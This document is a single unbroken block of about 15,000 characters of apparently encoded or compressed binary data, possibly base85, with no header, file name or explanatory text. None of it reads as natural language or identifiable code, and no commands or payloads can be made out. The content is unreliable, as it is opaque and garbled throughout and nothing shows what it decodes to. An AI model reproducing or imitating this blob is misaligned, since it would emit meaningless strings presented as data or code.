z5Rxm~;fv?mZTQ`R0|87NJKoJHy$g)3yR~=Ry`=fhj=n-)^v!qJTyHR;&!kY|;FH%z zyYRc)Td(@iTM~gqGlN1)z%Q&}P#=>?_;7P3<0t4@Z590SP6A$Ac5DeNqeE5bA z`THj={%qSL&@+!4VjVF|o4STFxy-sRe-2BrK8a(9dhL4!b-5(OJE2}FmE-Wu_C1E* z6UKVkg<>`w>!!^7)1W_4tY>6WV#;ywR6>22C#G?*XIcOD>n99ro5VVB{5S(WVf>(^ z7$=MIFgYpA?AK@ELmfZpzfV=Kld5|jy25xtX<@v$+T+!j zyth6^B`s$X`e!m_721{UcM*Or;V=)dymV1qmX+Ak?(*)JNnvI_UP*|BXD}ypC5lE& z&K$3{7fOjWsgt73IA61fhgn{T$e|)x^ldZVJed?-HP2rl792l$yfe=SGL54tm7DNO z|2Ob^3kTxltWQ+0;>q3oz9rjRJZbe}%1Yo{NR#QbO5-h;Mze1Nd= zs$#+Ho%fgN)&(Ug{v1yqSZJAc2v2nCZ+U&-onznY3{4^{`|2a;C-ha|YWCFASI*7Y zQ|krZ{UoKW6UMF-$~yDfp-77|bFq3Z5^$#NC#B=a@AA>T?NG-{yGw3cg+&{h7s$qqALw#?6PN z?0qF^`qX<1EptBc0j9x}Ql%@VII(DY-j7Ms<8#RO&`W4@lcZ*|Z;H;;rI=UsxFp7f zee5Irn8#?76YD{G&f0C|i@%C)okVSp3!kB#FixA~g<)yJyvRzUPuHH6q_$MAb-rO- z`YN1%)oVQUTIU;lvt7R8_d5=ZO-2CYnOLbg>-qBqr|UFNTDz!YqP6dY{*zMqW%m0M zzrT%sjUJ7@70-@)B6hzU{TE^>d*{LX{U4~4`s^mT8#)OVTje!B`$#gBQ{YhV_f2zn zOpjk8aA#^vVfQx^(qEfc+txSash~kWQu}jz_w;M}H0q=c#@_;CT7i-Ilm_K=A|pQ< zvO-K=XvV;FzHWcZV!-Rc46vsUS@%yt3`?#9lK04u<5C45$L9eLsnUw4?RmJ!xS$>$AR8FZl_fC!*E8`rs zW7ZJ5=?9wby~?0|VlI|OxhxLNTr|clAsK6oJut_+oxkSXq4Ln8zeKrcrPD6i^ZL`3 zkL}!8V6G%EGZ!nOTv=eY8YfIGefNC-josD+X!TL%VpV9+kJP@}u5A5lwaKov zZZ#S01;!czBd^)2qg+#9L_QfO+sdAfRs7iX-K)-9ugPM;ysix$`m&|5<<3q+%2TgC z$TZ06D6rNOSQ|mVF3R-q+Ni zdaOfBp$^VM9q6k$$}NOC@Gi+ExSPS(5GzB!6WID=-|lZRNyk>k-340o_b)mzYpOJ9 zQLtKwRENy#agUPTJf68jQ;j?G&JE>OIMld%8DgzZ;p$+foU5?@#Y*o@(rXF!I}hm4 zmo1Ga2e14Xy>e|=t@yeN@ogipG9F$iw-s2e&xssEm7lXi|LIsIs<+0q2FI~>(4Zfw z{WOohna*}N_f^B5@$?iJI|_`9K?jsOiHug)b41*CaA~^v5sxBeG2l713+(B`YMeDz zZ&S?y2aa^F)I(-VwkUzk*NUwx%H0Gui*vS7y-vSZm-`;^(3s;yHhOz}*< ze*$wj3|jQ}FFHAfz1HvVpX#J$pYAI#M+nT!K|RVn1ZL|zch)Oyx*Qz8agj)#!*w>kLbYbej@;L|e-_Pt{Vry7bVcCHr^=C^9~&jF1N{$D{U@?bwy03&gAK0Kl-qKA7$vmLQ0R!cJ_O}q zI5czJS)Y*Ur7y-69OivXYd$)2eFU`VFHx?GI_>^AcDtC%O|5xWWF8|hj~192&rv9k z5tyy>RXJW{W7TsfUY^w$&l%5g)PRpfwwp?ZUiVLZP;0+BvP}@!CJJmk&rCphlE`M+ zUP`;L9A!FfI2s%|=IVjKj7gkKa;kJjF zqr!@o>{ES%a z`xETPTfYwaaC`+Dpf`jW=gTXZ>fB$yj{rA|f*FcN@Z0q#A;W{S!qgR8p$D$1a z^Li`hbtrETn9*)FnE%P_dFG`SY}c3SZzpm^ye`ryl4`hJ>i=ag4+P4dN=`Tkw2L-LjGy+S+U-L%%YwOfeo zUg(PFradU{!=av=IFBQ7^5Usrd!4UADH!+TSF(JClgoWE9}Yl^{%q?sZBnB9v3k8V z_D0W+clUg^w--9aF^_-;pKbHmdK#?1@fUosZyx6FK-1rj;D4+2astO8l#k*N>ZP6M zj@YmiAJWI@SjkA`=fYM`o^HJ?{WgT{eH^;qVu%*7G-N5c^cRHt-wo`6L zzvry{I);mWH?54=(fi^~jcX$My?Pj{m<6r0HJB@uw$aUO`>pJvq z{0oGjo!naKCIci75hoc&vY*NRAXEr+hu|6lfcFt{D|^r3pOX;;7})D%(}(m zEXL5``$w#L5T(@kwXMqTXy-A~^B3FTD|G0~L$9eZ^{`SlBE;8EszKIk0_zWfmDh3K zQT}Pc8sEk)zTttX@GaCAA`&6)}4-dVS?S`$@ zr@3WHw?e~~@w_9jrL|&9gK|0>Y~ITLramFj+ivud*PUz`U{4>`Y~ENU<#Nm3cIV5< zZOL|DV9RX9mI>u70-HBB3Dx(EG~J?_R)17H-{u^*V9DoKvUVX`HrUgL%(hj&Q$JlR z#J-c+lI@GYmQ!G39_Bzfmu)u8?baD|T(l)srjh%~xqs5yvz>XE2U_$e;Y`puHD*Ze zmudHEtp`Bn?*emvfth_XAIb$1Gn+p{#SXE!LHjht;m6OL2kOgW!gv;fJ$;xtEo?t_ z%(^>rf~QVqOSWGETTy|H^)G^QF$r6A1oolA0B&yXUB{lxh|J>dF71cBZYTi_`ce6; z>|2*>?mwsfZ}}P(WK{l0IKPw@7#Y7(D3?jhh)Wa`9d@Qx7S%2MeOC9=()V(VUpZ>R zhndg9cFODn{R;&As;Cve6argCfsJE$1(Yk#jZ(G}bI(J*z;6 zzN{G&G$P_w<$Ij5;~DLKol0P>F0it#tD#&YF{^W=c}3T-2z*UcUcYT*MB92=`--xy zYe9p4%$%0?4kNzZXm@s=t!HX!1;)ApBl~w9le8|; zQqBFGaZi>LGG69@9dzi+%q!K%aUsi=Tv@UN$~4HDSzvV#SlM<>QFatqJ@mp9?(Fxg z{fh0oZ?i@mc)!vNw$!(<+tF&|<}5jmXsr!Rzs|7hE9|M^p*QWa8f@HJS&4b@Pq&i3 z2MbEuk$zjko_kAL*}ac>J}_=QgHg};@g~n8 zb1Pi_exzZR%~E}iE3IKqA0GNdw%Y~`DpdMP8~GYdWXmnEc?oRn2c9Umv0%fh&e+mY zXE6K0U7eFJztIfVMJgZLZ25j-VIPfs!PpPHp+$cldRsaXdCnefdujaud4D2vK7qM| zz|4No9_5Z!%>438MtpqtL(c*$W~`9qF#ADg=+GB=wKOVz?%U{h_NWUo4YC##Si1_W zjE4`(z80)FC0K*TDuc?eNcmTZf%0{cnAd*LpdSyt)c(QCe7@BdWRt&>A!B`kF+gBs z4(L!0v|v=*4$qqGBJlDm3`@d!21Q5V@+@3AQR4N@Ih9@il;$ey91Jb`OUMDKPOjY7 zYS+sDY^+p=%zp^Xp#n3X`-GqzX2IMh++faJskfMfgY}e)I!<|{nNZXXT(Fa=e_b)m@y^0L4o9#hOsScSP1m^x$%>7UvV9ku~tux>= zQ{Y=7M|lKzWqn%4K|U6dc@VVd&uFZvb8DW1vZ{2y!*U%mHxrnLS}_knd6+e`W4K0` zOCP;`a7cJeC%G>&kAN2a8JRV8K0cXz{AAv!F>)O;w-A^|3(OpoMxi`LV0Ml)dNY52 zUtI}4)vR*4g-@k(dU>uL2V3e}+hy)N@OkEYkELswk;z?PnkXgyL29Io?>j)>43qOgA3z@Dk+dELyVwSP9_I0ahtXJ(Y^OdfJMaMI3sS#9*Ojso*^ zftfz0p*%xiHbxOcg6UPI`e>&1l6=!ktXL5$Z!5OPENIY=+}^cku}-g>4A+>4%eeXq zjB~9R=b$`KU<4k&UyomFf!~!Y-MSw7IiTvKNR2pV8 z-X%J%k<9J~F6AB#GaRE&uAaSo(&N)iagfXwD>8c!_~ba6 z+V&QFKZGF1(W1;IbWrlj>vlQzUbCpDg)UJYJOW%qFD{-11Ab|G{J<~coqecOcz#^r znP@zQ?Z%EHUM3utG@xt!X$Hul)A6Dl4VS8Ar~G(Xt}c%oqj`{XNc zb=&vckN23t5^pOM-d<36qjGP@_lpW|D8GJtPD6EAYufR;8Ln=@6=t}pk9iregg+YY znT^XkKfW^~*9?w$TC4E%S`<&O;`?=lCs(ZpZUsxj1*IjKRaJG`2FF(ue{Q(d)c28i zdK0jOKN{}sn(G|e1(Qn5c%piG8*mveL;tbQFYJZG=@SpS@87v}_x8?1ZZyL|^|TW> zzQ(<%X0ZF-KWFa!*9`dG43=bai6WC-z$4ox@%AphcOximlW&(BtcCu%qFI5vywht<)b2h2t`8M{oR#{^y1BSksyti^8*z31 zBfH16xZUawKGMIBf#Y)EHib{UZRu}kRNecmMY|)uZc+Fme4hZ{UWG4|wXoJ+imeUC z(a*W>tg70#vC>pVq&uGhb_17@3Ri#KMRmaeE6sf!sqQucrsW#GKfez+q^zj!zQFgF z3Qz2}atULcBht@OmhU*B|hGIF?tCi{^D?`fDX;{#v-un%5tJhiD02O>kT~;hop& z|0?Wmj)Qo8T;cVXC|-ZY_ph%YK5v@Ccf94nXH z*5s}0J~Ds%lz82y@S5r~+7jt&3ck}2q#ZQsFG?owwV3lw<`=Kcw2%q$+5~urmL-lA z4`h73<`UaP3mnAjOA4>eqj+tG?-q^oN;2uV(3Io7ASaL_d^{^s1=Q(g~~-$pY0wikYFS-2Ocbvww1f-a*ptv6^> z8|;O@eGu${(r|gX3pXqV`Tn%Nbf3DYw9U->KKLv-`lMI=fOioqpFj!hG)3hl)E=_+ z>haF%t`8(tF4RN&W~k>~(5aEA_umkf2){kj1L?mB*OIFmP5xm65zogmS;|`Xg(e|6<*tq{`S0Wu&`} z=w73=ru;98rX4SQ6UkmQ)0$|*s7xr^Q2ZT^;17pN#DJMkYjN@IUEOCDZFYZupVgQ* z54_89(@5Zu<0jJ25%?a3pxgQ!bf1b*@`dV3wMS3ub>8HUe(zvmqe=D|z(I5ZX7Klo zv41@O<3CF*;K{}pDLjsg;&Cj#$4Br83mwhl^m8x1=iBugLl!iM$BDo}bOJdh@RM$7 z{!dfSmL(SO#N%9r$0<=fPR93%5j;l9QM89E``TJP(ZgqcPb2X-4LFESv>XNe^oecH ze(T3l^R*D-F{JQlQ+T9)eLB7~BY5OCF4iV#n=YPu&z9##WLWl<4&WhL(oUM-xbmC5 z+pjsYa=$4K;+5>8)XQvzS6U~@!go$WyuyAywCeA*^S>WwwZ1`mJ_EQKwZmI4c&F@)DO=iYhVR36m#_yB9t_iQiSe4K0gwYQqW zksQhXN}d7=PgHI{zVjk@GPTpc*th;X!hg~=rZlK*1;7!<&YxM*cf;Fz=2)LKBl{_N zEQ;cB7QSa&@Tl0?DL>V2KJ@121(rO{1&%m&dgsg^ubn+(+zeBAl4G^PV^HCd^zl@D z&$Hl>`a7JtX6q-^-)JNI72NdId$Z!L+sy|qq8G@Ctd9sh-B#ZD*q#NG+sCmRzuivvFr802LLuP#k^*g12CmPHiMZtda^&j_~y|DZTGgy-6 zQiZq0QM@g}cX>~}sjX#~X^bFe=K;87gt6Prop`i2wq{>( zeZ_RsclSu1Yk-GnF@3baG5@2Lo!Vubw#ACqI}~2eP+pSM1h3xea3xtG2i$LP zmFg?!r@xf-*`L!b+9c`a*?=b+ft)DVhL`%h+k4)Mc=yZStMGQN!W-G3_4qz7f;YBO zm0ugKVHI8mCq%fq;J7VbRXyA@cfp3wf0%5+C+W@wz(w=|IdSkTyZV-r(7R2y01w^o zdq48OfIyy5n&+$IUpe;BJG3vK%)Eu>DD2%`aR(I1{bKNP2?8|3QC$Xo5UZz{9hYO* zyIi}v{*;RfHl0l6IXYS?TIm2j_r45tE>~&sSF)oip8e5)ZkZ42U`G1AVN_5RLQZ%laV==j83TJm`{c)W)5$y*1Pj2my+=3%wfQ#U?1 zMtlAFY5h-X81%)_$_4b~n#6UWbv>sirWj@fZM&DBzuG=zFuyQrn<^2IC?9Mo^;k=e!@K5&zQU1Rae0{LU5p}C|ZCwqXROpja=y3#t zeTELFi?4@hm(}0--cz@%I{-Xp?VfDh29&KxdG|%^hv!0`p@m^>^RF+@+CE~m`F&J0 zKD!n0U7$lza07cj;5vN%)xVh1CEdO~hOQK^&t;=G7_=X2+IjA1^})C1ypv72L#G`L zJL}h?N44@bf0)A({kx**WA+n`WaHGwyR|NS#r)hV(cdiSo4|IST76gc-w*w3T7K#q zdYxp9{q6-GIsYV^b`QSqL(u1+25;46OgNRO9_c@@s_7MNue&IYr8&Tj)!#RLE!1E>{CVACGCUzt~&dUb_;r%=^E+E!+`$*cdSIi-TC^r zXElGgg{7tXwA@s-=YWIg zfHyPvX`jCM`G#OGbNwV9$16N;S9qlH$Mg7pLE+I>vZ$WU4be#r8XP&73oiRVQ+4ve zVLJ|5*br(i_Q(G&9rl?89pd$U;2~O;IL7Bay?EolS5L6OLA=@(UO!TJCHx=a`(uSy>B*W` zRbN~x+WNrT{=Pdjd;Aq<^+xvk6TlM6|a=-UUDwjKGGIXuZIOOer+z@^&4efa(gLE1tWc1{fG zWPg4B8O{!cE6s6}eclgP!XF7&7?2L{i}f6yF1)!RY96OCBd&s-%X&o0~bq&Y0{R-o{9SmBN8^bo#}D7^8z zN=RgkJK<5b`Ti$w$vCj2)|>{}>7Rgu=$OMlT7CNX)Sas>_OFS@B8A6a6&}e>|AOz| zR34d20ati2NP{;Itf2N{`?u$;yYP}Y=Xn1B9-_tF63lRnIy2NgGu)|{d0C0qMGCKf zNAda>zW-5p&95%Otjis0z;U_~PR@l#GRUV`Yd!t;JA0fE$}?+kq&M2hSX%?FcsQoK z)MxV>x45^P;UHeC6<*VTPqr1R`&4|VBgnR5)*lpV^YWVhRPpc|_2%-Rx^D^`M8_OH zZEc48)j=rXtXcz? zlok2px59TD1Su=DLwyuVYd;vw=-+Zw>d6beQ}g0q8_npEUbh22qL~P;v)`ZAq(g@v zcbnm&dS0&Z-a+A=#?tNa-BID)RueX1x7N9&K2)y#`@rA5%i3+VIxkH1)fu>mUR*po zH{UgF$X|2kSoC#N{;t5I_9xtx+f!9(FE7LHFnA2$+7&w4d2iv1Ltp*w(?avQqqfow zxTsID#xZc&>#P1a>wAm4KuCrw6dCpeK3V@H!yfqVg`m_wcVRY>q_*b0enY!myt{`* z*-3_dfQ#snJuj`n=A9Xy)#rU4y!gc#do1t}&!;IoA0NeYKYaI(r|>>9iuV!t z9;NUOIW@xjiHmyPv@hj>@6Gj^c+UVnqS-jEhkyS4{O52`e)CZADhBcc_#y2 zo%g$H3t$3FTgR>;2hLtGZJ^y07ukdpfs5w+ad2ce3FXe6x1oZ)e|9$VUWpLE!)YNr zn@!J_&{2vTkF@Uf$CZEnLhGEA=PCqom#&sF;m>*7-st>0y+KB4S0nKLnh%|5(Y3x- zduLda&(EIOFAO?OI>WMPMMaY*=atr1F0P$C`6Sz@!(Tgvs!BThqh0gJ_3yoN=j7v(#s7E|{w#stiNDzj{u7S* zcHUd3cepDV{7(aSH2xU^zYBk7D)_r}J9uRHNx8UtDLMJP5XHYo;LpWhuY!NmqeK7t z>bkzqC4!&y_+-F#ozC%YPjDvh%HPZ+^DP+ClduiZ1|s6Qc3i415J=q~$Kj zId{HU|4#M)A<8NHBbpE71787x?2mBvr!H7sS5>Li72D=D_{Uq^N!AOnvjF!2@EI^q zy!q-=$GP|JGPfN>|I;Y?vw>rdLf-}YK9Dce9&7kv;2GDhw73U{=$`_(y})O{Jbzb@ zGq&EmYo9g!FQVuNfn%ORpOvMuuBux5=azf_s%f%zfjKUsKOb?*Wz6xv$`bu3jz0)C_jh!=#l&@$G)=1q7Nh6 z{R8sLeey+sm%2c6)-rrAR(L54*x)f=u66oy^OAdSDS6zC53(T@fFZmx|C3Me?6gv`$zu1Wr=0oGyslpgBJ-?oN>k@ zJzrb?fGG^|(q7@^v?yLy;(L`DFE-p~*<{AY%@>DF@seCl2OQznd9i63hl~E4`Ydja zv8tm^3NPyvUZ_7@i|;cOUeHGywvAtgtF`_l@StPfTc&G3RL^Gto@kiC-Z1vy3Ds4n zn%-waHsmtWB|{>{bLnU|IH{yf0O+Gy>XefM3o?8W@H?A?lP zpxF~a*@wFR%9*F0)@042Y#)l!`yg2ELsd;n$@}z)t5!i53(&_?{=N!6vwN(?MpQ7* z7qr{l?o69~X3*scuSC-$Y}>#Gf==Uwo8&H3X@>yqR(5p+~}U5xTxVkIw|_S6?| z_Pg-a5zm<7BY9m0*w{WuYjxG437eMOG@r?95@?>NlyC45EtLP0^WC%Fs$ue?^phx$ z)w{I)`&LZ$^((kb$cyq%SMdD@d42ujn2mE5e`~!*QUE&ACR~HEO4-r;?P`2qYb84` zhEV09>gsTbKU`a1UZ*Yjw6k|dXyhPs8&2cp>w$~tMYMw$Jj*t0+cS3O7ggqX$aXxb z*wmX8o~eD@i0_*fp6ML{qrnzxbKm&=rtafrc+6}8)%PucCH&EFpK8s%|Mlf>Pcefd zo?cdXx;=`g+wi^7k|*t~XRkeU%?lgN-+L#X?gT91kK{@7-9Gfphq`FizHDzQJZ+BR zX%oKhR(MkCq);1rYWDoiSGKcyABuRo7qEms0`809E$*4p?Tshm^g&w`o*sze>3)1~ zQFv0zTd2J}?5lCBx2|nvt{249Lj)fsr$X(RD@PYjeIu)zIULp9T%`>>8pYEi_Hsq-Oz7G{9FR?3TM$xAt7z|AIKY%~$00 zyuur`@oo6tuJDHS1Gzu0toCW?=cJuJXjA8OQ@cy;_(k9#Iu`K9r}dk9`?zE7Foh@i zjZ)1Df+;Q1srP`3 z=vng3@%((rpo%;1J*T%R9^$!5;rT;_XOi~^`2Hw{XG6xZlGloxKiTIR+iO*(^hn# zK0}GXEGVm~tqX?ag#bZ8xqqc=*jEcW=fZB#IBYohPZvIE)K-X>ec%^urKl*#S8)P( zn=D-72-StOWygQE@}lzwoy&Z{j^K>a&j`XlEamHM>$bjn==Z}dA)6H7A>2eG4ZqWy zr)XaTucWabzp39aBl6jp^r8!k=LRJnx5R^UB82B#z)HD&hu^_qaZO#2oeaa%%!|V% zL0WVUR*TD>%bIn*w8I%+tkC(I5ryvnaFD&GvLDp(Ex+4 z%kg#`jv?!aZ~kciIZZCR@-1CQ2V?JGC<6H(QhkuFl8*iYd{U0T;x}3mHYCKAa;}Ay za8k90YQvcgw%X#dGVQJBp58Qk%DY38^zq~CeKQsM#0OqE)cycXY9qhn@1Ht-+}5}d z=WovJP;*s%*~B%_Qz`2loPY18wP5GrQrqEFb!(-Zvp1({rYusahIfWSynsw_L}HZP!%`7Sx9EF4QmE-z_*)X!RB@ zt8J{>My;mmWqBNh(Aycx&x>fojiRH?-dkk6phssrr+$eIB?B%Qvy9l79JIitx+`E3L0(jx1B-bj`0^B7;t&b`$t9N$tW5f1daCi+tHxW zEalv1FIs)kJxS4^I(Q2Bp$6=o*UqSe&cN9P!4qDld8YpPZnM|69iNOZuk2@@0p4d3 zo)i2(&FG|Q-GH0u9EZQ%1)bxrTfHUyww0$OLx*_Z#&8+X2* z4BzCDeUhQq2J~qE<7MD|MbLPO(MZ*X2^vH3cetS8{&PTD#{X&`I2sx|fS1Zeb^ErU zF;dVNfxn{!jg1Q?znS~jZyjV?zdXaRjl*EKha-?}%s_tnM|PIt$KadWM&5I1_Wf&K zzx|7!suY`Djr`Kis<_4pTx4e{e!Py0+1c)nRd@C&Kj{?R#$A(P;8E@MM1hBRqWDQV z9>LQ;ue`c-&t)@LTkxdfnj&yX+kc{ti}6(d$Rn?=d?D-Eq;y%f-%dONu@0Fv%)phstiZ^vJit{t?f z@6E(t2Lh*?SCx;>W=w`Q@!FgrUHd;j_o&Lc3AFA;xCcR{nGHHr)-3$ZL5MBu2QNCOZ#D(ejVbt6QT^~-PXxHIGA*>6Vl>D|V29CTJWy?LtU z0o-`tApQ5^ccXp!keqjd-%jZI0`xAKwkz9Uv82!RBt`RsCiUqj6aNUJPe0tZ##vD@ ze`&J*j`jY^81 zEK`#SLZ+fjvq6u_RD{2C5JZ_yxP8i>YjXPTO^ODU={Vq5%XA8Go{B(asw{o}k-d4B z?WQvQit?l&uPD~l%q zXHM3%KB%Lxn2WT>?`DwfBG8$PvX$ZQVuS!DN0lY?f*xHu6soDJuPpK4=v{djvxb@B zhHwdcCRscGaCP4nLzg_4Ogm8dDYD?FQt(rOzg0=_llNKGD-Vx6@YB)qv&e#<8o|#J z{H;xbpGywkdFKi9R^NTJ{4BQMXQ|+)9)Fiv@*`eARO)O0H-B7q@VC;*N6XJO7W}Lb z{50V2$|U${bMr%|AJ?*PRxjQ3bcEc{V!UAh$E#x8 zH%{|&-Z=nh=jmO$tWP-_nr{l4Y~2Gi*MSb%xwZIv27<72X)nBR)6zH7pHHftlAXH{ z?Q_!dyp!c%{8`U)Ii{Y&i?W5K`hK`)DzlhNq37F9eT;Snm&sJXRzmMQ#nt*%$=NBut zJ>BNY!{o>HDR}q_LC_Po#o1xH>$KF?@8{30YW~4wk?(8d%d2TH$qLL7kUj1V%&?!) z;YJ$ka2k=YKCGW$X^Bw@wk`X*c=eByk1)S9$qz7!Oq`de&;R-Q9XUPbPlR$Kbwa(jm!DbXgAspFXf?%a!L)d1M}0)<<^jS}|x+Rl1rc z%9{3YXx10kznIPTwvPw@;}NiKE8Y`1>6D2FOA0Q+c@To7^ic>aOR({@O0#KA-fQ^g z+%!FH1f|h)0jsoMPqs~bD)s8`SXvK^JBA}T+2bEASN+*#$OrbT_&Hcg8-{?rAF*h6 z&u{O1F{#ylykkalC`uoUz}pPFRcF-5Tbs|l`*)v?dw`y74Y~$?mQC=#%{yeCH>*Ql1V7Tt3sZ{og#(cg_X8 zz7;wOg>Iw!Z0i2^?>KKmGE(vg4#KzA?RXUDNUPAmG3m4oc= zxd^-*+4(MqR(8ki`}Q>JG>6qIrLWb~#VmFI+$mpNy|Z$*u)maN4T7M3e`PQ2*3&c3 zWV9)51*LJ?U%fi5{QavB6tJ}Wu$FZ{0^k49Rvheg?&r;yf64fI5%KRLxGL!GaSW2Q z!;81vxo_;rXY=+?>F*$9hbzN1^d3?}1r9CZ6ewkVqUp>ZHeb7BKKP@$qP#m1_+BZy z{!(i?CpU2D%f&a!^c@VBep7^&-Qt(MpL)mrOuDwbGvE;fp9dF=8@h4bW3>$TGQ|Ic zVDR~S`6&aRs5my0^GWGHBAD{ovVZ!$d%H~SE%>CoM-Ws#9hVLNvvTC2e~C{@N2f;Z z0{gMN92wW{YH{+VS8pIbDg6foA?pvvKGM9$+Gj^GS$F9Iza|7xhSr|#vrcc;_6$~r z&WN9aV3gsqwsXflf7Q5Gc^N2uGJ8&>6k@8MLP|L9Es+Eg>8MJt! zOrOYb8D-e>(FxPvbr+^l8G51~dLaltH$Aqr-&up#zQAzzK)emX;Pb;>+X9C!-FqtM zlhUUnnDSZrhW9ULukE`8pOp6`1eMRp?k{`)-hA(g#3!XsW4H`H_rJ5bcZa1NKO#Q& zp$uOl2tIdat$cg)v}Z>%KEFVG^R6nN&T~HhvgV#Q;lD}!G^IB~x+$Mu&%gMu9xE^Y zN$^Q|nZa|(%1N^in&8GO#TfApz8?%Fn&`0RwV&Ip3fUB6#<=T>{~ zD;S?05kCpRkf(F{q3j?3o$(RplhP+5nDTk*_V;f%??`5<;FI!BKv4NCJL{R?D?2(g zBR(m8Ji}%1={fv<-P%KAwi2Hn$l8k__;k-&Gt=g-9MAZqb;^?vfLqw=r+)un?TTwJ zyMpT+rB6dJ`ru>lzUGa#g>w!Y=~H>SJt*cG15&=YG3WNT@2CET;3pw)8z^ktB@+%V zTzq2{`G^pIlxHG>uyGSF`udywRRultvEU<6U-5uMY#H+=bfD~6lw(4P^sZ<)1i`FHQU zJcq-QJ^c_tz@C5A?KiK>y!>t^lTOfQFM>$Bu*o~?hrRW7JC=3?{QQX^(&~%0&sjg_ zx1KERG{m1}q|NQSuE&i}J@+C@Yl`@`Mq1M*U-my{+ppCuEf?`sM%p=hGpn0@e=w7! zkxtGs(!6aiZFuyGizl-(Qu#+A81nsa{hpJyyuNX&A)lcnA3pB;Ewk(Hj$e=J$M8~r zw2Scav~3>@PTTT*-Te$N$>#G2*^ONE_FKgtE&h$y3(2Pt!Js?rfP2!9&*i?%=~DX1 zBtMS(=J}a-w(}f(gV811e4>%|+W32lA8x+-B}SKI3j?g+&E22ZX5JM$aJG%~pVI#} zcrN++(B`S1S9fD+WGgd`w8885Z+PIr<}Wh5R4*4I82k=OefH*GIzNj0vIsAwpJTv& zJL=K7Z|-l;_q52iwSXRqvMlP*b4$u6CoN%ksZP5@;C*b*KMl83rFl4BN}Gf=Z61Olhra7(T`{oV<>&S`c5ehup-UGbOJaXRDg zaR>|e+OD?#$=`=&Z_L~ojqhiyt*iLX5%_utd_4ue?)ckF!ME%0vuFIY{Fb+)@c}#n z-&q1*UxBZmz}E+Vk5};Bbk!{buO43XM>M{^og(p_EAR~z_y!4l1MqjSf^XY1W1sjl zu7lohR@O6ZnP;d_(c~1O?x@DX%`edP>u>XncdBJhfjUu#Atlv_j2AEqkhj9_{Ir*;|0F4_&Y(tm#h8s_J_ZeR7B$&5XIlc0^ekT zZ;HS-34c#i@Xg(J%bDKAcN|dH(WJg#3LKXqTrO};104D4oP@tp->2hu68iqb#ba;W zbo=PpNv|_r0Up$K#!S$)BhWhI)Nht7_;SqP6tbPCV(s8;WBp*xA1i&GR{gpyDSEQa zT`9^f*G{uRkJ?-o{^lTvwbO_1e&C$ld%ru4*$|?C7J{obi(dUKIPa1B{{7;l7Ex(@ zhTinhjMlz0^V-vROIg2A=I6UE=>FLiyAQm{?IGnEh``5W+7sM%gt+hy>|Yv{L2{}^`GO(p7OM`J7=8oz~d*c{ z{R#2;A%fAL3_SO&C&vHT&t>!{j~o0P>GaN&e@;JUCxfMOWFi=_Rl7eqec!{bCLEUf zo4yEw-$_rddVj+;*FMBxsjtt8pgZ~TEpxv7$&Gark}dT|gABR_r;XeD>4zg9WUwTM zwkWGXH~*6ZBtjufLWZUO9}xlANYTz`k66o#*(>d$&3 z2%gJRs&8nuVcpXVmipG`B6vRGhr&+^8n$CCfyTmA-XRDEUpIy?4fH;%w3Me)nMOvy zciS_x@9pDmyql*J-@in_clv7Ifb-s)v5uz`Z-XLu-!aI)|F=hP_=KmEKAw$W%wJ|s z`RIewX1xdB1G&ymzI(sGmzw%wvZu|oRBa*JrSx?z#qVGcr@FEnc=s2+Z6z~LnR9>3 z8#6Fpko`AC^x6i@3#eTKg|-MV71(F3D%QSuam2HW2mP--t6Hldo9ML1U)r;*LLB)V;8Ux{?-^LjtEf;gQNu_O!juyPe5~`vs9NG5ID^8R$3pNiGErDXV4p zy{x#lrnt05oAby1k6yiF*x6F{2X(%QW9F~>-7D_L9Mi_m#c~bzsalG;9Pvqk_&4e? zU0VU%QU)tI-^6PHuHeGG1awT;rWNWZ_{3)oiU!~w%jo*-cCZ77N z3_ubn~rf6{DQT6uiX7dxcgldJdOEik#C3Oo&HABYoe_M zjiI8h*KvB#z^I#BY}%C>ckSC$eE(C}Bj9>*SeKgvuMO5zHLwa_+wr{oh089wjM_#@ zdt6r^L7RA~7W^1xZmON7@NhQg0o5PFLttM+>VSFYZK87XvWfCgnPfQ)yiK(Ah?o4H z%kk1ht5SPn`LPXgfCT;u&>kdT+gN7|Ib{KO{pchb)sJ$EMolNRv8p1%5*( zQKUS2GS6OBUSA>9+;e{Tyi>ZDv?V*l<^t=`ZU_(AJhDDl0aohl)%cC2-{rU+_R|$- zwwqfzXm><8Z=K3{k?>T`YXKwWbsc_#3H@Ct&Gyr~&pB62AzLHuE^D_a6XD>pO4V)v zoGi_+rQxZYdc-C8@x&RUL38DHtlfH_BQ^VSC;B@sa~bdP*ZeH zrl9Jr%<8#`dX17Mx^12i2mcHZO_&ax4!x1XSD$IkZ9FRAA!$k5=`tS&X z{3abCx$?fbnf544<2Lv){DyvzO=FGGrd>LrTSdx`58_QPsbkDe2^_KwJOMb_2DajN ztbL+3P^b;ryrKVS|4B=U-xEf0ex==@w`BT4Mud~(_Z0Bh5ohq)RC^k6$j`z?SU{ zx*WlL&rFZE&?CzblkRX9xa`Pj3pn!%oc=uLtjzqZET=yZ%(2b3`5hWBXIwa!$05Na zl$3=PTtNWz0y#E^)9-f%y!n2+Q>Vyb)3vy;b}u`>o)^U}hizgBo82hgrtx9p(rso5 z>uZ#5^Z2lF>9(+h_2xp(ekUr(pJ(%DL*}xEs9sxI!Uep5i-O>?Jth_=kmq-KvV&QE zZ*EXgTds4hV)NU*et*6%&*=!}<+uW(-L#IE&u8=7a-Dfj|7fOqNmVd0w-#xMX<7ECG@$%>9yYpOmIew?jfmXrf*)ul3G|_%1 z^$*m1y!m$F=MF4?;&xHMTINeUd;?11lwC73q-WKqY zhTaqd>)-lVz^ew|6k7C;ePiJj!*9+y*`!;SwwRAPXGHlzp%Tjzr2nBo;QJLopSb(3zpJuuA7?Ew^ED z;S!VEa0?vC$n69R9Er$nL@cbI4IF4#XkK*IPDjSVv5r5}jh>&4Db0aN-$q%$;wkC8 zoIsw_V|TgZpkVYzTi}Qsc$n5YgU^VC$MD1FcRJ+g*cx_BEG&jOKEJB~GIQASY(ZF5 z_JfZ{#>VDnw2b^NPl3(ta%5o^K=5LGGA>a#mmG3)J1{;`xGc8~`zA~t6B>oF=h!^i zu=i|W6p;3QVxw?sC&T%h6bpm-4`jzj)=(V3)9%goxMn*YSzdpxEsyg!xe+)aMXvUu zTvHl>QEBDV3`WTQ#3bOTH{_z^<(rxWtlgJyvtuR_Q0ih@67adMfL*11QX{ZJMp0xr z-_sL=HHs_jr!6r!m&cXovbmXpGo8y!49?-ob$SAru*z|}Ju$dk7kbPBr(4%mN1||2 zq@sMz#NaU53HqIR`F@Ykp{z#Wl$Id@nOw3Pf%9O+z~KzoWgEw7)~`2 